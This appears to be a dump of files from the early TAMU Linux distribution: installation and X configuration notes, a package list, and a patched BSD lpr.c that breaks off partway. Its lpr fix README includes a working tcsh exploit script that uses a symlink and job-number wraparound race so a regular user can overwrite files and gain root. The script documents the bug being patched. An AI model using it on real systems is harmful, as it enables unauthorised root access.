|
||||
Hints for the last two follow later.
|
||||
|
||||
4. If you need to change any of the configuration values entered
|
||||
during installation (such as ip address ...), you need to change
|
||||
the respective entry in /etc/system_config. If you are turning
|
||||
networking on for the first time, you will then need to run
|
||||
doconfig, which creates some networking config files based on the
|
||||
system_config information. NOTE that this will update /etc/fstab,
|
||||
so if you have customized it, save a copy and restore it afterwards.
|
||||
|
||||
FINAL TIPS:
|
||||
|
||||
1. use "useradd -m user_name" to build a regular user account,
|
||||
(the -m switch uses the /etc/skel files for the user home skeleton).
|
||||
You will need to set a password for them ("passwd user_name").
|
||||
|
||||
2. root and the user skeleton is now configured to use fvwm.
|
||||
Fvwm is configured to popup window tools on the left mouse button,
|
||||
utilities on the right button, and games on the middle button.
|
||||
(If your mouse has only two buttons, the middle button is emulated
|
||||
by pressing both buttons simultaneously.)
|
||||
|
||||
3. For a fun demo of ghostscript, use xfm to cd into
|
||||
/usr/lib/ghostscript/examples, and drag/drop any of the examples
|
||||
onto the xfm application "ghostscript".
|
||||
|
||||
4. if you rebuild the kernel, be sure to run "ps -U" to update
|
||||
/etc/psdatabase. Do this before doing a "make clean" in the
|
||||
/usr/src/linux directory, as the system file in /usr/src/linux/tools
|
||||
is needed by "ps -U".
|
||||
|
||||
5. if you are new to Linux, be sure to try the four virtual terminals,
|
||||
available with <left-alt>-F1 thru <left-alt>-F4. Under X-windows,
|
||||
the virtual terminals are reached with <ctrl>-<alt>-F1 thru F4,
|
||||
and you return to X with <alt>-F5.
|
||||
|
||||
6. You can use the boot disk for maintenance (in case of filesystem
|
||||
problems, the disk has e2fsck), or for reinstallation from your
|
||||
own backup set. NOTE - the maintenance disk does not have 'ls'
|
||||
so you can't look around. /sbin has most system commands
|
||||
(mount, umount, fsck, mkfs...), and /bin has most /bin commands.
|
||||
|
||||
7. to make a backup compatible with the installation disk:
|
||||
[cd /]
|
||||
[tar cf - .|gzip|label -o /dev/fd0H1440 ]
|
||||
(or as appropriate for your floppy)
|
||||
|
||||
questions/comments to:
|
||||
dave safford
|
||||
dave.safford@net.tamu.edu
|
||||
|
||||
----------------------------------------------------------------------------
|
||||
Rebuilding the kernel:
|
||||
1. cd /usr/src/linux
|
||||
2. run "make config"
|
||||
This will ask which optional devices you want in the kernel.
|
||||
3. run "make dep"
|
||||
4. run "make clean"
|
||||
5. run "make"
|
||||
6. install the kernel:
|
||||
cp zImage /vmlinuz
|
||||
lilo
|
||||
That's it!
|
||||
----------------------------------------------------------------------------
|
||||
|
||||
XFree86-2.1 Configuration:
|
||||
|
||||
Getting the new XFree86-2.1 running involves three major steps:
|
||||
1. point /usr/X386/bin/X to the appropriate server for you adapter.
|
||||
2. Create the config file /usr/X386/lib/X11/Xconfig.<hostname>
|
||||
3. Edit the config file for your mouse.
|
||||
|
||||
1. Choosing the server:
|
||||
cd /usr/X386/bin
|
||||
rm X
|
||||
ln -s XF86_<type> X
|
||||
where <type> is one of "SVGA", "8514", "Mach8" "Mach32", "S3",
|
||||
"MONO", or "VGA_16"
|
||||
|
||||
2. Creating the Xconfig file:
|
||||
There are several configuration options for XFree86-2.1:
|
||||
A. Sample configuration files
|
||||
B. Simplified scanning Xconfig.1m
|
||||
C. The "right" (pain in the rear end) way
|
||||
|
||||
A. Sample Config files:
|
||||
The directory /usr/X386/lib/X11/Xconfig.Samples has a number of
|
||||
preconfigured Xconfig files for common adapters/monitors. Check
|
||||
the index file to see if one is available. If one is, simply copy it to
|
||||
/usr/X386/lib/X11/Xconfig.<hostname>.
|
||||
|
||||
B. SIMPLIFIED X Window Configuration
|
||||
In /usr/lib/X11 there are several Xconfig templates:
|
||||
Xconfig.hostname - *DEFAULT* - working copy of Xconfig.1M
|
||||
Xconfig.1M - the install version for 1MB vga cards
|
||||
Xconfig - working copy of Xconfig.master
|
||||
Xconfig.master - standard X11 release version (manual install)
|
||||
Xconfig.drs - this is my tailored copy of Xconfig.1M
|
||||
|
||||
By default, when you run "startx", the server will use Xconfig.tamu,
|
||||
as the hostname is "tamu". This file is a working copy of the .1M
|
||||
easy installation version for 1MB vga cards. If your vga card has
|
||||
only 512K bytes of memory, it can not run in the 1024x768 resolution
|
||||
modes, so you need to delete these modes from the Xconfig file. If
|
||||
you are running on a notebook, you probably can use only the 640 x 480
|
||||
modes.
|
||||
|
||||
Then, in Xconfig.tamu:
|
||||
|
||||
1. check the mouse definitions, and if necessary, comment out the default
|
||||
(microsoft mouse on ttyS0, aka com1:) and uncomment the line
|
||||
corresponding to your mouse type and port.
|
||||
If your mouse has 3 buttons, comment out the "Emulate3Buttons" line.
|
||||
|
||||
2. run "xinit"
|
||||
There will be 48 available "modes" that are essentially all possible
|
||||
combinations of clocks and resolutions. You can cycle through all of
|
||||
these modes by pressing control-alt-keypad+. (If your vga card has
|
||||
512K, there will be only 32 modes). The modes are named "1" through
|
||||
"48" and appear in that order. Most of these modes will show
|
||||
garbage on your screen. Jot down the number (ie 1 - 48) of any
|
||||
mode that presents a reasonable display (minor size or x/y offset
|
||||
errors can be trimmed out later.) Hopefully you will find at least
|
||||
one good mode for each of 1024x768, 800x600, and 640x480 display
|
||||
resolutions. Exit X using control-alt-backspace, and then edit
|
||||
Xconfig.tamu, to delete the "bad" mode numbers out of the "Modes"
|
||||
line, leaving just the few good ones you jotted down. (You can look
|
||||
at my final version in Xconfig.drs, which left just three modes on
|
||||
the "Modes" line.)
|
||||
|
||||
That should be it! No puzzling over the vga database, frequencies,
|
||||
clocks, or dot calculations! This has been tested on several machines
|
||||
with Tseng, trident, and paradise cards. On my own tseng clone,
|
||||
in 1 minute I discovered two very nice modes that I had missed in
|
||||
hours of testing using other methods!
|
||||
|
||||
(2.1 If necessary, you may need to tweak the dot values in the corresponding
|
||||
mode entries in the ModeDB section, if the display is a little off center.
|
||||
Each mode line in the ModeDB section has 4 numbers for horizontal dots,
|
||||
and four numbers for vertical dots. If the display is a little off in
|
||||
the horizontal or vertical position, try adjusting the MIDDLE two
|
||||
numbers in the respective horizontal or vertical set by 10 or 20 dots.
|
||||
This needs to be done by trial and error, but at least you have a good
|
||||
starting point. )
|
||||
|
||||
C. The "right" way:
|
||||
Read /usr/X386/lib/X11/etc/?????? adn follow the instructions.
|
||||
|
||||
3. Setting the mouse:
|
||||
asfasdf
|
||||
asdf
|
||||
asdf
|
||||
21
distributions/TAMU/TAMU-1.0D/bin/pkg/TOC
Normal file
21
distributions/TAMU/TAMU-1.0D/bin/pkg/TOC
Normal file
@@ -0,0 +1,21 @@
|
||||
base 3508234
|
||||
extra 4830318
|
||||
network 1084081
|
||||
development 11282586
|
||||
kernel_src 5081820
|
||||
man_pages 7048497
|
||||
emacs 15305892
|
||||
ghostscript 1022020
|
||||
groff 1964556
|
||||
libc-lite 619524
|
||||
X_libX11 478272
|
||||
X_base 25698219
|
||||
X_server_8514 848900
|
||||
X_server_Mach32 885764
|
||||
X_server_Mach8 869380
|
||||
X_server_Mono 771076
|
||||
X_server_S3 947204
|
||||
X_server_SVGA 947204
|
||||
X_server_VGA16 791556
|
||||
X_man_pages 4237255
|
||||
X_server_kit 3501751
|
||||
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_base.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_base.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_libX11.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_libX11.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_man_pages.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_man_pages.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_8514.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_8514.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_Mach32.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_Mach32.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_Mach8.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_Mach8.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_Mono.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_Mono.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_S3.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_S3.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_SVGA.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_SVGA.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_VGA16.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_VGA16.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_kit.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/X_server_kit.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/base.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/base.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/development.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/development.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/emacs.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/emacs.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/extra.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/extra.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/ghostscript.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/ghostscript.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/groff.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/groff.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/kernel_src.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/kernel_src.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/libc-lite.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/libc-lite.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/man_pages.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/man_pages.pkg
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/network.pkg
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/pkg/network.pkg
Normal file
Binary file not shown.
40
distributions/TAMU/TAMU-1.0D/fixes/README.lpr
Normal file
40
distributions/TAMU/TAMU-1.0D/fixes/README.lpr
Normal file
@@ -0,0 +1,40 @@
|
||||
ALL current versions of lpr on all distributions have a bug
|
||||
that can give a regular user root access very easily.
|
||||
|
||||
The file "lpr" in this fix directory has this bug fixed, and
|
||||
should be copied to /usr/bin/lpr (owned by root, group lp, mode 6755)
|
||||
|
||||
The file "lpr.c" is the patched source file, that should be copied
|
||||
to /usr/src/usr.sbin/lpd-5.12/lpr/lpr.c.
|
||||
|
||||
The following is a script demonstrating the hole that was found on a
|
||||
hacked machine.
|
||||
--------------------------------------------------------------------
|
||||
#!/bin/tcsh -f
|
||||
#
|
||||
# Usage: lcp from-file to-file
|
||||
#
|
||||
|
||||
if ($#argv != 2) then
|
||||
echo Usage: lcp from-file to-file
|
||||
exit 1
|
||||
endif
|
||||
|
||||
# This link stuff allows us to overwrite unreadable files,
|
||||
# should we want to.
|
||||
echo x > /tmp/.tmp.$$
|
||||
lpr -q -s /tmp/.tmp.$$
|
||||
rm -f /tmp/.tmp.$$ # lpr's accepted it, point it
|
||||
ln -s $2 /tmp/.tmp.$$ # to where we really want
|
||||
|
||||
@ s = 0
|
||||
while ( $s != 999) # loop 999 times
|
||||
lpr /nofile >&/dev/null # spin the job number till it wraps!
|
||||
@ s++
|
||||
if ( $s % 10 == 0 ) echo -n .
|
||||
end
|
||||
lpr $1 # write source file over old data file
|
||||
# user becomes owner
|
||||
rm -f /tmp/.tmp.$$
|
||||
exit 0
|
||||
|
||||
BIN
distributions/TAMU/TAMU-1.0D/fixes/lpr
Normal file
BIN
distributions/TAMU/TAMU-1.0D/fixes/lpr
Normal file
Binary file not shown.
720
distributions/TAMU/TAMU-1.0D/fixes/lpr.c
Normal file
720
distributions/TAMU/TAMU-1.0D/fixes/lpr.c
Normal file
@@ -0,0 +1,720 @@
|
||||
/*
|
||||
* Copyright (c) 1983 Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef lint
|
||||
char copyright[] =
|
||||
"@(#) Copyright (c) 1983, 1989 Regents of the University of California.\n\
|
||||
All rights reserved.\n";
|
||||
#endif /* not lint */
|
||||
|
||||
#ifndef lint
|
||||
static char sccsid[] = "@(#)lpr.c 5.9 (Berkeley) 3/2/91";
|
||||
#endif /* not lint */
|
||||
/*
|
||||
* lpr -- off line print
|
||||
*
|
||||
* Allows multiple printers and printers on remote machines by
|
||||
* using information from a printer data base.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/file.h>
|
||||
#include <sys/stat.h>
|
||||
#include <pwd.h>
|
||||
#include <grp.h>
|
||||
#include <signal.h>
|
||||
#include <ctype.h>
|
||||
#include <syslog.h>
|
||||
#include "lp.local.h"
|
||||
#include "pathnames.h"
|
||||
|
||||
char *tfname; /* tmp copy of cf before linking */
|
||||
char *cfname; /* daemon control files, linked from tf's */
|
||||
char *dfname; /* data files */
|
||||
|
||||
int nact; /* number of jobs to act on */
|
||||
int tfd; /* control file descriptor */
|
||||
int mailflg; /* send mail */
|
||||
int qflag; /* q job, but don't exec daemon */
|
||||
char format = 'f'; /* format char for printing files */
|
||||
int rflag; /* remove files upon completion */
|
||||
int sflag; /* symbolic link flag */
|
||||
int inchar; /* location to increment char in file names */
|
||||
int ncopies = 1; /* # of copies to make */
|
||||
int iflag; /* indentation wanted */
|
||||
int indent; /* amount to indent */
|
||||
int hdr = 1; /* print header or not (default is yes) */
|
||||
int userid; /* user id */
|
||||
char *person; /* user name */
|
||||
char *title; /* pr'ing title */
|
||||
char *fonts[4]; /* troff font names */
|
||||
char *width; /* width for versatec printing */
|
||||
char host[32]; /* host name */
|
||||
char *class = host; /* class title on header page */
|
||||
char *jobname; /* job name on header page */
|
||||
char *name; /* program name */
|
||||
char *printer; /* printer name */
|
||||
struct stat statb;
|
||||
|
||||
int MX; /* maximum number of blocks to copy */
|
||||
int MC; /* maximum number of copies allowed */
|
||||
int DU; /* daemon user-id */
|
||||
char *SD; /* spool directory */
|
||||
char *LO; /* lock file name */
|
||||
char *RG; /* restrict group */
|
||||
short SC; /* suppress multiple copies */
|
||||
|
||||
char *getenv();
|
||||
char *rindex();
|
||||
char *linked();
|
||||
void cleanup();
|
||||
|
||||
/*ARGSUSED*/
|
||||
main(argc, argv)
|
||||
int argc;
|
||||
char *argv[];
|
||||
{
|
||||
struct passwd *pw;
|
||||
struct group *gptr;
|
||||
extern char *itoa();
|
||||
register char *arg, *cp;
|
||||
char buf[BUFSIZ];
|
||||
int i, f;
|
||||
struct stat stb;
|
||||
|
||||
if (signal(SIGHUP, SIG_IGN) != SIG_IGN)
|
||||
signal(SIGHUP, cleanup);
|
||||
if (signal(SIGINT, SIG_IGN) != SIG_IGN)
|
||||
signal(SIGINT, cleanup);
|
||||
if (signal(SIGQUIT, SIG_IGN) != SIG_IGN)
|
||||
signal(SIGQUIT, cleanup);
|
||||
if (signal(SIGTERM, SIG_IGN) != SIG_IGN)
|
||||
signal(SIGTERM, cleanup);
|
||||
|
||||
name = argv[0];
|
||||
gethostname(host, sizeof (host));
|
||||
openlog("lpd", 0, LOG_LPR);
|
||||
|
||||
while (argc > 1 && argv[1][0] == '-') {
|
||||
argc--;
|
||||
arg = *++argv;
|
||||
switch (arg[1]) {
|
||||
|
||||
case 'P': /* specifiy printer name */
|
||||
if (arg[2])
|
||||
printer = &arg[2];
|
||||
else if (argc > 1) {
|
||||
argc--;
|
||||
printer = *++argv;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'C': /* classification spec */
|
||||
hdr++;
|
||||
if (arg[2])
|
||||
class = &arg[2];
|
||||
else if (argc > 1) {
|
||||
argc--;
|
||||
class = *++argv;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'U': /* user name */
|
||||
hdr++;
|
||||
if (arg[2])
|
||||
person = &arg[2];
|
||||
else if (argc > 1) {
|
||||
argc--;
|
||||
person = *++argv;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'J': /* job name */
|
||||
hdr++;
|
||||
if (arg[2])
|
||||
jobname = &arg[2];
|
||||
else if (argc > 1) {
|
||||
argc--;
|
||||
jobname = *++argv;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'T': /* pr's title line */
|
||||
if (arg[2])
|
||||
title = &arg[2];
|
||||
else if (argc > 1) {
|
||||
argc--;
|
||||
title = *++argv;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'l': /* literal output */
|
||||
case 'p': /* print using ``pr'' */
|
||||
case 't': /* print troff output (cat files) */
|
||||
case 'n': /* print ditroff output */
|
||||
case 'd': /* print tex output (dvi files) */
|
||||
case 'g': /* print graph(1G) output */
|
||||
case 'c': /* print cifplot output */
|
||||
case 'v': /* print vplot output */
|
||||
format = arg[1];
|
||||
break;
|
||||
|
||||
case 'f': /* print fortran output */
|
||||
format = 'r';
|
||||
break;
|
||||
|
||||
case '4': /* troff fonts */
|
||||
case '3':
|
||||
case '2':
|
||||
case '1':
|
||||
if (argc > 1) {
|
||||
argc--;
|
||||
fonts[arg[1] - '1'] = *++argv;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'w': /* versatec page width */
|
||||
width = arg+2;
|
||||
break;
|
||||
|
||||
case 'r': /* remove file when done */
|
||||
rflag++;
|
||||
break;
|
||||
|
||||
case 'm': /* send mail when done */
|
||||
mailflg++;
|
||||
break;
|
||||
|
||||
case 'h': /* toggle want of header page */
|
||||
hdr = !hdr;
|
||||
break;
|
||||
|
||||
case 's': /* try to link files */
|
||||
sflag++;
|
||||
break;
|
||||
|
||||
case 'q': /* just q job */
|
||||
qflag++;
|
||||
break;
|
||||
|
||||
case 'i': /* indent output */
|
||||
iflag++;
|
||||
indent = arg[2] ? atoi(&arg[2]) : 8;
|
||||
break;
|
||||
|
||||
case '#': /* n copies */
|
||||
if (isdigit(arg[2])) {
|
||||
i = atoi(&arg[2]);
|
||||
if (i > 0)
|
||||
ncopies = i;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (printer == NULL && (printer = getenv("PRINTER")) == NULL)
|
||||
printer = DEFLP;
|
||||
chkprinter(printer);
|
||||
if (SC && ncopies > 1)
|
||||
fatal("multiple copies are not allowed");
|
||||
if (MC > 0 && ncopies > MC)
|
||||
fatal("only %d copies are allowed", MC);
|
||||
/*
|
||||
* Get the identity of the person doing the lpr using the same
|
||||
* algorithm as lprm.
|
||||
*/
|
||||
userid = getuid();
|
||||
if (userid != DU || person == 0) {
|
||||
if ((pw = getpwuid(userid)) == NULL)
|
||||
fatal("Who are you?");
|
||||
person = pw->pw_name;
|
||||
}
|
||||
/*
|
||||
* Check for restricted group access.
|
||||
*/
|
||||
if (RG != NULL && userid != DU) {
|
||||
if ((gptr = getgrnam(RG)) == NULL)
|
||||
fatal("Restricted group specified incorrectly");
|
||||
if (gptr->gr_gid != getgid()) {
|
||||
while (*gptr->gr_mem != NULL) {
|
||||
if ((strcmp(person, *gptr->gr_mem)) == 0)
|
||||
break;
|
||||
gptr->gr_mem++;
|
||||
}
|
||||
if (*gptr->gr_mem == NULL)
|
||||
fatal("Not a member of the restricted group");
|
||||
}
|
||||
}
|
||||
/*
|
||||
* Check to make sure queuing is enabled if userid is not root.
|
||||
*/
|
||||
(void) sprintf(buf, "%s/%s", SD, LO);
|
||||
if (userid && stat(buf, &stb) == 0 && (stb.st_mode & 010))
|
||||
fatal("Printer queue is disabled");
|
||||
/*
|
||||
* Initialize the control file.
|
||||
*/
|
||||
mktemps();
|
||||
tfd = nfile(tfname);
|
||||
(void) fchown(tfd, DU, -1); /* owned by daemon for protection */
|
||||
card('H', host);
|
||||
card('P', person);
|
||||
if (hdr) {
|
||||
if (jobname == NULL) {
|
||||
if (argc == 1)
|
||||
jobname = "stdin";
|
||||
else
|
||||
jobname = (arg = rindex(argv[1], '/')) ? arg+1 : argv[1];
|
||||
}
|
||||
card('J', jobname);
|
||||
card('C', class);
|
||||
card('L', person);
|
||||
}
|
||||
if (iflag)
|
||||
card('I', itoa(indent));
|
||||
if (mailflg)
|
||||
card('M', person);
|
||||
if (format == 't' || format == 'n' || format == 'd')
|
||||
for (i = 0; i < 4; i++)
|
||||
if (fonts[i] != NULL)
|
||||
card('1'+i, fonts[i]);
|
||||
if (width != NULL)
|
||||
card('W', width);
|
||||
|
||||
/*
|
||||
* Read the files and spool them.
|
||||
*/
|
||||
if (argc == 1)
|
||||
copy(0, " ");
|
||||
else while (--argc) {
|
||||
if ((f = test(arg = *++argv)) < 0)
|
||||
continue; /* file unreasonable */
|
||||
|
||||
if (sflag && (cp = linked(arg)) != NULL) {
|
||||
(void) sprintf(buf, "%d %d", statb.st_dev, statb.st_ino);
|
||||
card('S', buf);
|
||||
if (format == 'p')
|
||||
card('T', title ? title : arg);
|
||||
for (i = 0; i < ncopies; i++)
|
||||
card(format, &dfname[inchar-2]);
|
||||
card('U', &dfname[inchar-2]);
|
||||
if (f)
|
||||
card('U', cp);
|
||||
card('N', arg);
|
||||
dfname[inchar]++;
|
||||
nact++;
|
||||
continue;
|
||||
}
|
||||
if (sflag)
|
||||
printf("%s: %s: not linked, copying instead\n", name, arg);
|
||||
if ((i = open(arg, O_RDONLY)) < 0) {
|
||||
printf("%s: cannot open %s\n", name, arg);
|
||||
continue;
|
||||
}
|
||||
copy(i, arg);
|
||||
(void) close(i);
|
||||
if (f && unlink(arg) < 0)
|
||||
printf("%s: %s: not removed\n", name, arg);
|
||||
}
|
||||
|
||||
if (nact) {
|
||||
(void) close(tfd);
|
||||
tfname[inchar]--;
|
||||
/*
|
||||
* Touch the control file to fix position in the queue.
|
||||
*/
|
||||
if ((tfd = open(tfname, O_RDWR)) >= 0) {
|
||||
char c;
|
||||
|
||||
if (read(tfd, &c, 1) == 1 && lseek(tfd, 0L, 0) == 0 &&
|
||||
write(tfd, &c, 1) != 1) {
|
||||
printf("%s: cannot touch %s\n", name, tfname);
|
||||
tfname[inchar]++;
|
||||
cleanup();
|
||||
}
|
||||
(void) close(tfd);
|
||||
}
|
||||
if (link(tfname, cfname) < 0) {
|
||||
printf("%s: cannot rename %s\n", name, cfname);
|
||||
tfname[inchar]++;
|
||||
cleanup();
|
||||
}
|
||||
unlink(tfname);
|
||||
if (qflag) /* just q things up */
|
||||
exit(0);
|
||||
if (!startdaemon(printer))
|
||||
printf("jobs queued, but cannot start daemon.\n");
|
||||
exit(0);
|
||||
}
|
||||
cleanup();
|
||||
/* NOTREACHED */
|
||||
}
|
||||
|
||||
/*
|
||||
* Create the file n and copy from file descriptor f.
|
||||
*/
|
||||
copy(f, n)
|
||||
int f;
|
||||
char n[];
|
||||
{
|
||||
register int fd, i, nr, nc;
|
||||
char buf[BUFSIZ];
|
||||
|
||||
if (format == 'p')
|
||||
card('T', title ? title : n);
|
||||
for (i = 0; i < ncopies; i++)
|
||||
card(format, &dfname[inchar-2]);
|
||||
card('U', &dfname[inchar-2]);
|
||||
card('N', n);
|
||||
fd = nfile(dfname);
|
||||
nr = nc = 0;
|
||||
while ((i = read(f, buf, BUFSIZ)) > 0) {
|
||||
if (write(fd, buf, i) != i) {
|
||||
printf("%s: %s: temp file write error\n", name, n);
|
||||
break;
|
||||
}
|
||||
nc += i;
|
||||
if (nc >= BUFSIZ) {
|
||||
nc -= BUFSIZ;
|
||||
nr++;
|
||||
if (MX > 0 && nr > MX) {
|
||||
printf("%s: %s: copy file is too large\n", name, n);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
(void) close(fd);
|
||||
if (nc==0 && nr==0)
|
||||
printf("%s: %s: empty input file\n", name, f ? n : "stdin");
|
||||
else
|
||||
nact++;
|
||||
}
|
||||
|
||||
/*
|
||||
* Try and link the file to dfname. Return a pointer to the full
|
||||
* path name if successful.
|
||||
*/
|
||||
char *
|
||||
linked(file)
|
||||
register char *file;
|
||||
{
|
||||
register char *cp;
|
||||
static char buf[BUFSIZ];
|
||||
|
||||
if (*file != '/') {
|
||||
if (getwd(buf) == NULL)
|
||||
return(NULL);
|
||||
while (file[0] == '.') {
|
||||
switch (file[1]) {
|
||||
case '/':
|
||||
file += 2;
|
||||
continue;
|
||||
case '.':
|
||||
if (file[2] == '/') {
|
||||
if ((cp = rindex(buf, '/')) != NULL)
|
||||
*cp = '\0';
|
||||
file += 3;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
strcat(buf, "/");
|
||||
strcat(buf, file);
|
||||
file = buf;
|
||||
}
|
||||
return(symlink(file, dfname) ? NULL : file);
|
||||
}
|
||||
|
||||
/*
|
||||
* Put a line into the control file.
|
||||
*/
|
||||
card(c, p2)
|
||||
register char c, *p2;
|
||||
{
|
||||
char buf[BUFSIZ];
|
||||
register char *p1 = buf;
|
||||
register int len = 2;
|
||||
|
||||
*p1++ = c;
|
||||
while ((c = *p2++) != '\0') {
|
||||
*p1++ = (c == '\n') ? ' ' : c;
|
||||
len++;
|
||||
}
|
||||
*p1++ = '\n';
|
||||
write(tfd, buf, len);
|
||||
}
|
||||
|
||||
/*
|
||||
* Create a new file in the spool directory.
|
||||
*/
|
||||
nfile(n)
|
||||
char *n;
|
||||
{
|
||||
register f;
|
||||
int oldumask = umask(0); /* should block signals */
|
||||
|
||||
f = open(n, O_CREAT|O_WRONLY|O_TRUNC|O_EXCL, FILMOD);
|
||||
(void) umask(oldumask);
|
||||
if (f < 0) {
|
||||
printf("%s: cannot create %s\n", name, n);
|
||||
cleanup();
|
||||
}
|
||||
if (fchown(f, userid, -1) < 0) {
|
||||
printf("%s: cannot chown %s\n", name, n);
|
||||
cleanup();
|
||||
}
|
||||
if (++n[inchar] > 'z') {
|
||||
if (++n[inchar-2] == 't') {
|
||||
printf("too many files - break up the job\n");
|
||||
cleanup();
|
||||
}
|
||||
n[inchar] = 'A';
|
||||
} else if (n[inchar] == '[')
|
||||
n[inchar] = 'a';
|
||||
return(f);
|
||||
}
|
||||
|
||||
/*
|
||||
* Cleanup after interrupts and errors.
|
||||
*/
|
||||
void
|
||||
cleanup()
|
||||
{
|
||||
register i;
|
||||
|
||||
signal(SIGHUP, SIG_IGN);
|
||||
signal(SIGINT, SIG_IGN);
|
||||
signal(SIGQUIT, SIG_IGN);
|
||||
signal(SIGTERM, SIG_IGN);
|
||||
i = inchar;
|
||||
if (tfname)
|
||||
do
|
||||
unlink(tfname);
|
||||
while (tfname[i]-- != 'A');
|
||||
if (cfname)
|
||||
do
|
||||
unlink(cfname);
|
||||
while (cfname[i]-- != 'A');
|
||||
if (dfname)
|
||||
do {
|
||||
do
|
||||
unlink(dfname);
|
||||
while (dfname[i]-- != 'A');
|
||||
dfname[i] = 'z';
|
